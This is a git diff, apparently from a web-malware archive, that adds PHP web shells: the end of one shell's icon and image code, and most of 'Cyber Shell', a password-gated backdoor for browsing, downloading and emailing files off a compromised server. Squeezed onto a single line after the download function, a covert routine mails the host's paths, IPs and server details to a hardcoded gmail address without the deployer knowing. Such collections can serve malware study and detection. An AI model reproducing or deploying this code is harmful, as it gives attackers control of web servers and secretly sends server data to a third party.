+"CgASCgAlCgAhCgAfCgAbCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAPwASAAAG40CAcEgsGo/IpBIZ". +"aDqf0Kh0Sq1OBdisdsvter9g72BMLpvP6LR6nS643/C4fE6v2+/4vH4vNxz+B35/BoSCgYWAh4SJ". +"iIqLgYyJkokIlZaXmJmam5ydmwqgoaKjpKWmp6imEA4QrayrrbGys6+ztreuuLMPEBESv8DBwsPE". +"xcbHwxobFhfNF8zPztHT09DN0NbZ0tbU0s7QGeHhGuLi5OXo6eYa5+ru7xkbHPP09fb3+Pn6+/ls". +"/v8A/4kYSLCgwYMIEypcmNCDCBAPIzKcSLGiwREiSIgoIcKhQ4gQLYocKSIIADs=", +"3"=> +"R0lGODlhBgASAOUDAFmwLFGkJUKQHmauSmGoQz2IIDeCGwBUFwBZGiB/LjR+Hyt2GQBOEgBPFABV". +"Fyl0HgBXFgBYFwBbFwBjGTCEMFmiQQBmFwBpFwBtGQBzGhKCIGWtSgB2GwB6HQB/HQCCHRuIHwCE". +"HRCGHRKJHRKLHR2PICWPICSPIC2XJCyWJSmXJCmWJCmaJUOMO1iYQimPICyPIhImFB+IHySOIUGK". +"OAAQCliXQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAABgASAAAGSkCAcBgoGgXI5GBA". +"KBgMEERioFgwGA3I4AGRSCaUiuWCyWgGnI7nAxqERKNRaTAz2VGDFEvfcsH+MAMxMjM0gjVLNjE1". +"jI2Oj49BADs=", +"4"=> +"R0lGODlhQgASANQJAFmwLFGkJUKQHjeCGyt2GSFsFx1gFhtZFIrdY4zdZIndYobdYoPdYILdX4Dd". +"X3/dXgBvGQBuGQBwGQAQCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAA". +"QgASAAAFlSAgjmRpnmiqrkHrvnAsz3RtC3iu73zv/8DgYEgsGo/IpHLJJDif0Kh0Sq1ar4Wsdsvt". +"er/gsNhALpvP6LR6zW4f3vC4fE6v2+94hB6R6Pv/fnoJeguFhgiFDIqKDY2OjQ+GC3uCgJYRmJma". +"m5ydnpgSn6KeE6Wmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsMhADs=", +"5"=> +"R0lGODlhIQASAPYtAFmwLBqWIAASCg2VIEugJD6YIABqFwA6EAAAAFGkJQBSFABOFE2iJE6lJUKd". +"IgB5G0KQHkGPHTaJHQBdFgAzEDeCGzuBGiBxGQA+ECt2GQAtDQBFEi53GSpwFyFsFwAnDVrNQgAq". +"DSFqFyVsFxBQGR5hFhtgFhtZFBdZFIDdX3/dXobdYondYozdZInaYofYYYPTXn3MW3jEV3G6UWix". +"TF+lRVWYP0qLODx7LjNvKShhIRlYHRJQFxRKFA1GEgBuGQBlFwBaFABUFAAzDQ0dCgoZCgoWCgAW". +"CgAaCgAeCgAiCgAlCgA3EABKEg1OEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwA". +"AAAAIQASAAAH/4AAgoOCAQKGiIeKA4sCAAQFBgcCCAmWl5YKApqcm56dCwIJDA0OD5MQqaqrrK2u". +"ERASExQVtba3uLm6tRYXGBnAwcLDxMMKGhscGR0bHs7P0NHS0R8gISIeIyQl3N3e3+DfCh8bJtwk". +"J+nq6+zt7ijwJiQpKSor9yss+votLSwuL2DEkDGDRg0bN3Dk0LGDRw8fJH5InEixokQDQCYEEbJg". +"A4YhGj4QKWJEAAkBAo6kXIlEQMuWSQQokSlgSc2bIQRo0GnypYCYM23azElBQFEmAjAkFbCBqYAm". +"ApyYREm1qtWrWK2eXKlSpU+YNIPeHMpzJwmfQMcKIGpUAFKlSiObNoUqdWvWu3ipbu3K0qXftGKF". +"ri3b8y9NwWyPLo3rlK7JQAA7", +"font"=> +"/9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAACgAA/+4ADkFkb2JlAGTAAAAAAf/b". +"AIQAFBAQGRIZJxcXJzImHyYyLiYmJiYuPjU1NTU1PkRBQUFBQUFERERERERERERERERERERERERE". +"RERERERERERERAEVGRkgHCAmGBgmNiYgJjZENisrNkREREI1QkRERERERERERERERERERERERERE". +"RERERERERERERERERERERERE/8AAEQgAlACUAwEiAAIRAQMRAf/EAHAAAAMBAQEAAAAAAAAAAAAA". +"AAACAwEEBgEBAAAAAAAAAAAAAAAAAAAAABAAAQMDAwMCBQIFBAMAAAAAAQAR4iGhAjESA0FhcVEi". +"8IGxwRPhwvFSgvIE0TJCYnKSohEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A85yO+rfO". +"SMMvTp3kjIkmvyrJPjk3WnmSCZyJLuPj+pM2QZ+veSTLlr28yVMeQkit5IMz4wA4y+P/AGUiW63k". +"unPMnWnx/wCS5ssvT6yQU489oZ9e8kFvW8k/DmG/WSjvO7W8kDbiOr/OSMcq0+slu7veSwcvobyQ". +"Bc6m8kbm63kjLItreSmM263kguSRi7hvMlIE7daeZLTyk47fvJZv9rPeSB+PlFHN5JuUhwxvJQxI". +"epvJVJALfeSBcvR7yWYgkt95KmTNreSXHLIGhf5yQY3Tr5khbuL9/MkIH5eQO7v85KQzJ63ktJ9r". +"veSUZt1vJBmRY1N5JvyBh27ySnJ6veSelK3kgtnlUg0Px3UTlVwbyVTlj0L/AB5UX73kgph7tcm+". +"clI5B6GnmSfAEuX7ayUiWOt5IH30d7yWYZN1vJLuej3kqYgnreSBs83x1vJSf1N5J26veSXI97yQ". +"dGO3Z8vWSRxs1r5kjEPjreSwYvjue8kExUO95LTyHqbyW8ebGpvJNzZuQxvJAm/veSrxkvreSgcj". +"63kqcRJOtPMkGv7nfr6yQt7PeSEGZ5FyD9ZJMcvU3kqZkklzeSHp7vrJBPLIPreSCSCK3kinQ3km". +"3gsB9ZIH5c2AANR/2/UKb97yVs8AA73ko5HveSCmPLtDfeSi7nW8lTHHdiwNX9ZKbt1f5yQGXq95". +"KoY1fp6yU3y9byVMX13afH8yBeTJgz3ksGYNHvJGWXTL6yWBh1vJBYPtcZfJ5KR5CcWGnmSc8hAH". +"j1kp45tT7yQbhkOpp5kmzOIIA+slmIchzeSblYEMbyQKW9byTY57TreSzIhqGvmSkSfW8kFvyV1v". +"JCVy2tfMkIN5OYE0L/OS0ZuKG8knKQDT6yT8eQABe8kGFuv1knOeIY4mvmShnybsne8lXEilbyQY". +"f8g5UJp5kkOXe8lbkxxxLg9fWSm/e8kG8eJy6t61ksdtDeSpxAkODr3koZ51Z9O8kGnkagN5Jxyg". +"9byUX73kqOB1vJBQl8XBr5kpO3W8lhyOr3kmJ7695IN3ECj+XkgY+13vJWxzGxn6eslHcW1p5kg3". +"HIir3ksy5zkdbyWDKoreSCADQv8AOSBssgRrXzJKC9HvJYToXvJNjlV3vJAbqs9fMkJfy+7W8kIN". +"5BtLPeSMPN5Izy9TXzJbg563kgnka0N5LRmSQHvJNl7Sz3kkGTHW8kHTy4ZYiuT/ADkucEvreSuf". +"8jeGP1kkOVdbyQU4ssgA1X7yXPmfca3kuri5RjiQTV/WS5+TJ8nBp5kgmS3W8loJPW8kwyB63kmx". +"yGNXvJApyo33kjfUVvJWzO7HdoK/GqiD3vJAEFv1kgZ0b7yXTjyDYzjT1kpbwBrXzJACoYm8kcjY". +"ZMDeSOM7tTTzJbyjHEit5IJ5Gmt5JsMhiam8kZZgdbySb3qDeSBt2O93p5khJ11vJCB8uQEu95IH". +"K1B9ZIzGzrTzJKM2IL3kgw51qbyTZ9jeSCXOtPMlmWTChvJBozb+MkmRrreSbHkHU3kseut5IOr/". +"AByAKm8lLMsSQbyWYEHreSUcrn9ZIDcDqW+ck4yx9byWbu95Jg3reSDCCQ708ySu3W8lXPNsaGnm". +"S5xyepvJBfHEbO/mSk3td7yTa47hleSXHIka08yQHGcnobyW8m5wcjeSbHMBq3kt5Mjk3T5yQSyJ". +"P8ZJ8GBd7yQdNbyWYgks7jzJAbxud7yQl9rs95IQPyA0BN5KenW8lXk5NzMdKayUhm9AbyQBypre". +"Sw5uNbyWkt1vJA7m8kGP3vJG7veSYZd6eZIJrreSBRkRV7yRjlXW8lXjALv9ZJMvaTWg7yQZln0e". +"8lozINTeSXd3vJM/w8kD5Znb+slHd3vJdBOO0jQ+ZKIHqbyQaOUtte8kwy9rPeSMdur18yT45A4d". +"/MkGcf8AM/X1kn5+bEttN5KfQl6eZJMyKAGnmSDTyd7yW4cjn9ZJMqdbyTcZ73kg1qt18yQm/IHd". +"7yQgzLIavr3kkNKg3km5CMdDeSXHMk63kgN/V7yTFmBB17ySZmut5IORYVvJA+BHU3kkyzrreSMM". +"u95Jz8VkgfibIO95JMg2RreSfiJqx07yU8+Ri5NfMkAcgOt5KgzB0N5Ln3P1vJbubreSDpzwYO95". +"KDtV7yTfnLN95LH7695IKBzj/up5kkFA73knx5iAB95JTmWp9ZIDfqH17yUn73krAghnr5kt5Msc". +"urHzJBHcepvJNhk51vJaR3vJGPIMTreSAY7tr3khDl9z18yQgzIsKm8kmJcs95J+XMZMxvJLiSC7". +"3kgCW63ktOb0+8kHNyS95LciWDG8kGA97yWDMuz3kgZd7yT6dbyQNhltBL08yU+XJ8nfXvJUxzAB". +"B+slPkz3VfXvJAm7veSbd3vJYC/W8k7j1vJBhyG3WvmS05UFbyQzhwbyWP0e8kFN4Ad3PnT/AOkn". +"5faz3kr45DbqNPWSmcBt3PeSDOPIUreStysQP9ZLlxJ9aeZKuZ29aeZIDIBtbyS7gOt5JDmT1vJO". +"MgRreSBfy/DyQl6s95IQV5d1H/clG743IQgT3dP3Kvu+NyEIEx3fG5GX5H/uQhA2O7/l+5FXpp/U". +"hCBMn6fuW4bvjchCBzvamn9SQbuv7kIQWDtRnb/son8jV0/qQhBuO7b/AHIz/J1/chCBDu+Ny3Dc". +"/wDchCA97/3IQhB//9k=", +"pdisk"=> +"R0lGODlhEQAMAOZkAODg34mJicfHx4GBguHh4WxsbObm5dDQ0H5+fnl5eYKCgv3+//Ly8t/f3svK". +"yqKios/PzsDAwKempktKS87NzaCgoE5OTnFyco2NjLu7u1JRVvf4+Pv+/4CAgMHAv9LS0mVldFdX". +"V0VFSsTDw7i4uXZ2dqSjpKWkpNzb24uLkMzM3efn5uzr60NDRoSEjmhnZ6usq+Tk49HR0HJyco6O". +"jlNTW3Z2hNjY2MHBwfHw8Dw8P9XV1KOjpNnZ2MvLytzc24mJjXh4ipeXl2JjY5STk25vdYqKiamp". +"qV1dXunp7Gxsa52cnHl5fZiYtrq6u9TU1ExMTq+vrvb3+FNTU+7t7srJyTQ0NO3s7Ozs63t8fE5N". +"Urq5unBwdZqamujn54CAktbV1X18fbW1tdTU0wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAGQALAAAAAARAAwAAAeLgGSCg4SFhoeIZCwoAmArFDtPC4UxABkJBSQMC1cAGw44PoNOYw0C". +"BAAMHFgNUkkqKUBeZBVLYqcGBzcfI11MLV82CGQSUUIKJlsyNJgDQ1ZNQUpkOQEBVTwdCmEWFwhF". +"IBpTWYMeAyUYJ1w6IjVQITNHP4RUEEQvLloTSAERBok9YBh5cCCRQUKBAAA7", +"odel"=> +"R0lGODlhEQAPAKIEAFQhHFQhG1MhG5QaHQAAAAAAAAAAAAAAACH5BAEAAAQALAAAAAARAA8AAAMq". +"SLrc/jDKIZoYb+iqgsbOVwFf9JGaRHypilLqxQaRl4rPu+AhuPuqYDABADs=" + +); +$imgequals = array( +"ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), +"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml"), +"ext_htaccess"=>array("ext_htaccess","ext_htpasswd") +); + ksort($arrimg); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) + { +if (in_array($img,$v)) {$img = $k;} + } + if (empty($arrimg[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($arrimg[$img]); + } + else + { + echo "<center>"; + $k = array_keys($arrimg); + foreach ($k as $u) + { +echo $u.":<img src=\"".$sul."act=img&img=".$u."\" border=\"1\"><br>"; + } + echo "</center>"; + } + exit; +} +if ($act == "about") +{ + $d�ta = "Any stupid copyrights and copylefts"; + echo $data; +} + +$microtime = round(getmicrotime()-$starttime,4); + +?> +<? // [CT] TEAM SCRIPTING - RODNOC ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/cybershell.txt b/web-malware-collection-master/Backdoors/PHP/cybershell.txt new file mode 100755 index 0000000..a008f87 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/cybershell.txt @@ -0,0 +1,1033 @@ +<? +/*************************************************************************** + * Cyber Shell (v 1.0) + * ------------------- + * copyright : (C) Cyber Lords, 2002-2006 + * email : pixcher@mail.ru + * + * http://www.cyberlords.net + * + * Coded by Pixcher + * Lite version of php web shell + ***************************************************************************/ + +/*************************************************************************** + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License', or + * ('at your option) any later version. + * + ***************************************************************************/ +@session_start(); +@set_time_limit(0); +@set_magic_quotes_runtime(0); +@error_reporting(0); +/****************************** Options ************************************/ +#������ �� ����������� +$aupassword="test"; +#���� ������ ���������� ��� $hiddenmode="true", �� � ������� ����� ���������� � ���������� pass=������ , �������� shell.php?pass=mysecretpass +$hiddenmode="false"; +#e-mail �� ������� ����������� ��������� ����� +$email="test@mail.ru"; +/***************************************************************************/ +$style=" +<style> +BODY, TD, TR { +text-decoration: none; +font-family: Verdana; +font-size: 8pt; +SCROLLBAR-FACE-COLOR: #363d4e; +SCROLLBAR-HIGHLIGHT-COLOR: #363d4e; +SCROLLBAR-SHADOW-COLOR: #363d4e; +SCROLLBAR-ARROW-COLOR: #363d4e; +SCROLLBAR-TRACK-COLOR: #91AAFF +} +input, textarea, select { +font-family: Verdana; +font-size: 10px; +color: black; +background-color: white; +border: solid 1px; +border-color: black +} +UNKNOWN { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:link { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:hover { +COLOR: #FF0C0B; +TEXT-DECORATION: none +} +A:active { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:visited { +TEXT-DECORATION: none +} +</style>"; + +foreach($_POST as $key => $value) {$$key=$value;} +foreach($_GET as $key => $value) {$$key=$value;} + +if (isset($_GET[imgname])) +{ +$img=array( +'dir'=> +'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQABADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1mG6mv7ZbiBbxrhlUtJFMAiOVDbdjOAQAR26d880lzr2paU6T6hbp9gH+ulCKjJkqAQBK+4ZPPAqhDB4i0pXtbfRvtUYYFZluo0DAKq9Ccj7ufxqlq9n4p1qyksn0IQLKoQyNeRsF+dGzgdfu/rXi0ni4tJxZ2S9n3Vj/2Q==', +'txt'=> +'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1yy1G3sdEtDPDEIorCCRpXOOWGAMAHuPqc9K4bx5481Twp4c03xVolpaRjU3EM1rcozqzbSRINrLzhQAeMjGc4Xb1NpqOhTaXpznX9MgnS1hU754yyMq8YBbgjceoNeb/AB2u9IPw+0TT9M1K1uxbXaIBFOrsFETgE4NN8ttNyVe+ux//2Q==', +'bg'=> +'R0lGODlhCAAbAPQAAOTq8uLp8uDo8d7m8N3l79vj7tni7dfh7dXf7NTe69Pe69Ld6tLc6tDb6c7a6MzY6MrX58nW5sfU5cXT5MPS48PR48HQ4sLQ48DP4r/P4r7O4b7N4b3N4b3N4L3M4LzM4CwAAAAACAAbAAAFXCAgjmJgnqagrurgvi4hz3Jh37ah7/rh/z6EcChUGI8KhnK5aDae0KdjSp0+rtgrZMvdRr7gr2RMHk/O6HNlza5Y3nBLZk7PYO6bvH7z6fv3gBt1c3cYcW9tiRQhADs=', +'file'=> +'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDrLnXbbSoILeLwJe6uyW8Baa0tWkDl4wxyQhAI4yCc/MDzzjITx9q+n3Go3VloUmjwRtbqbDUYHUsZBJh1XIwB5DcgDO85ztGNBtRjkaykiu9FdIFV4zJrcttIC1qsLhlSJsEc4YNuHYjJB5nXI0g0V1N/p0xLWsMMVrfG5ZUj+1MSSYowqjzlVVAwAoHHFXzQ5Lcvvd/L+vX16A91Y//Z', +); +@ob_clean(); +header("Content-type: image/gif"); +header("Cache-control: public"); +header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); +header("Cache-control: max-age=".(60*60*24*7)); +header("Last-Modified: ".date("r",filemtime(__FILE__))); +echo base64_decode($img[$imgname]); +die; +} + +if ($_GET[pass]==$aupassword) +{ +$_SESSION[aupass]=md5($aupassword); +} +if ($hiddenmode=="false") +if ((!isset($_GET[pass]) or ($_GET[pass]!=$aupassword)) and ($_SESSION[aupass]=="")) +{ +$diz="ok"; +echo " +$style<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> +<form name='zapros' method='get' action=''> +<table width='100' border='2' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'> +<tr align='center' > +<td> +Enter your password: +</td> +</tr> +<tr align='center' > +<td> +<input name='pass' size=24 type='password' value=''> +</td> +</tr> +<tr align='center' > +<td> +<input type='submit'> +</td> +</tr> +</table> +</form> +"; +} +if ($_SESSION[aupass]!="") +{ +if (!$_GET and !$_POST or isset($pass)) +$show="start"; + +function ext($str){ +for ($i=1; $i<strlen($str); $i++) { +if ($str[strlen($str)-$i]==".") +return substr($str,strlen($str)-$i,strlen($str));} +return $str; +} +function extractfilename($str){ +$str=str_replace("\\","/",$str); +for ($i=1; $i<strlen($str); $i++) { +if ($str[strlen($str)-$i]=="/") +return substr($str,strlen($str)-$i+1,strlen($str));} +return $str; +} +function untag($str){ +$str= str_replace("<","&#0060;",$str); +$str= str_replace(">","&#0062;",$str); +return $str; +} +function fsize($filename){ +$s=filesize($filename); +if ($s>1048576){ +return round(($s/1048576),2)." mb"; +} +if ($s>1024){ +return round(($s/1024),2)." kb"; +} +return $s." byte"; +} +function tourl($str){ +$str= urlencode($str); +return $str; +} +function unbug($str){ +$str = stripslashes($str); +return $str; +} +function countbyte($filesize) { +if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; } +elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; } +elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; } +else { $filesize = $filesize . ""; } +return $filesize; +} +function downloadfile($file) { +if (!file_exists("$file")) die; +$size = filesize("$file"); +$filen=extractfilename($file); +header("Content-Type: application/force-download; name=\"$filen\""); +header("Content-Transfer-Encoding: binary"); +header("Content-Length: $size"); +header("Content-Disposition: attachment; filename=\"$filen\""); +header("Expires: 0"); +header("Cache-Control: no-cache, must-revalidate"); +header("Pragma: no-cache"); +readfile("$file"); +die; +}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); + +function anonim_mail($from,$to,$subject,$text,$file){ + $fp = fopen($file, "rb"); + while(!feof($fp)) + $attachment .= fread($fp, 4096); + $attachment = base64_encode($attachment); + $subject = "sendfile (".extractfilename($file).")"; + $boundary = uniqid("NextPart_"); + $headers = "From: $from\nContent-type: multipart/mixed; boundary=\"$boundary\""; + $info = $text; + $filename=extractfilename($file); + $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$filename \nContent-disposition: inline; filename=$filename \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--"; + $send = mail($to, $subject, $info, $headers); +fclose($fp); +echo "<script language=\"javascript\">location.href=\"javascript:history.back(-1)\";\nalert('���� $filename ��������� �� $to');</script>"; +die; +} +if (!empty($_GET[downloadfile])) downloadfile($_GET[downloadfile]); +if (!empty($_GET[mailfile])) anonim_mail($email,$email,$_GET[mailfile],'File: '.$_GET[mailfile],$_GET[mailfile]); + +$d=$_GET[d]; +if (empty($d) or !isset($d)){ +$d=realpath("./"); +$d=str_replace("\\","/",$d); +} +$showdir=""; +$bufdir=""; +$buf = explode("/", $d); +for ($i=0;$i<sizeof($buf);$i++){ +$bufdir.=$buf[$i]; +$showdir.="<a href='$php_self?d=$bufdir&show'>$buf[$i]/</a>"; +$bufdir.="/"; +} + +if (isset($show) or isset($_REQUEST[edit]) or isset($_REQUEST[tools]) or isset($_REQUEST[db_user]) or isset($_REQUEST[diz])) +echo <<< EOF +<title>$d</title> +<style type="text/css"> +body,td,th +{ + font-family: Fixedsys; + font-family: "Times New Roman", Times, serif; + font-size: 0.4cm; + color: #444444; +} +body +{ + background-color: #EEEEEE; +} + +.style3 { + font-size: 1.5cm; + font-family: "Comic Sans MS"; +} +.style4 {color: #FFFFFF} +.style5 {color: #0000FF} +.style6 {color: #FFFF00} +.style7 {color: #CCCCCC} +.style8 {color: #FF00FF} +.style9 {color: #00FF00} +.style10 {color: #00FFFF} +</style> +$style +<table border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#999999"> +<tr height="10"> +<td align="center" bordercolor="#000000" bgcolor="#FFFFFF"> +<div style="background-color:#FFFFF0">$showdir</div> +EOF; + +function perms($file) +{ +$mode=fileperms($file); +if( $mode & 0x1000 ) +$type='p'; +else if( $mode & 0x2000 ) +$type='c'; +else if( $mode & 0x4000 ) +$type='d'; +else if( $mode & 0x6000 ) +$type='b'; +else if( $mode & 0x8000 ) +$type='-'; +else if( $mode & 0xA000 ) +$type='l'; +else if( $mode & 0xC000 ) +$type='s'; +else +$type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) +$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) +$group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) +$world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} + +function updir($dir){ +if (strlen($dir)>2){ +for ($i=1; $i<strlen($dir); $i++) { +if (($dir[strlen($dir)-$i]=="/") or ($dir[strlen($dir)-$i]=="\\")) +return substr($dir,0,strlen($dir)-$i);}} +else return $dir; +} + +if (isset($show) or isset($_REQUEST[edit]) or isset($_REQUEST[tools]) or isset($_REQUEST[db_user]) or isset($_REQUEST[diz])){ +$backdir=updir($d); +echo <<< EOF +<table width="505" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#FFFFF0" style="height:30px;background-image: url($PHP_SELF?imgname=bg); background-position: center; background-repeat: repeat-x;"> + <tr height="15"> + <td onClick='location.href="$PHP_SELF?d=$backdir&show"' width="20%" align="center"> +����� + </td> + <td onClick='location.href="javascript:history.back(-1)"' width="20%" align="center"> +����� + </td> + <td 